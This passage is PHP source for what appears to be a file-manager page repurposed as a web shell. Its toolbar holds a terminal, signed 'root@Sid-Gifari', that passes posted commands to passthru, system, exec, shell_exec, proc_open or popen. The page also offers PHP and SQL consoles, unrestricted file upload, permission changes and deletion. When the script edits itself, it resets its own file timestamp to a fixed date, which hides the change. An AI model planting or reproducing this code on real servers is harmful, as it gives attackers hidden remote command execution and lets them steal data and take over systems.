fFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
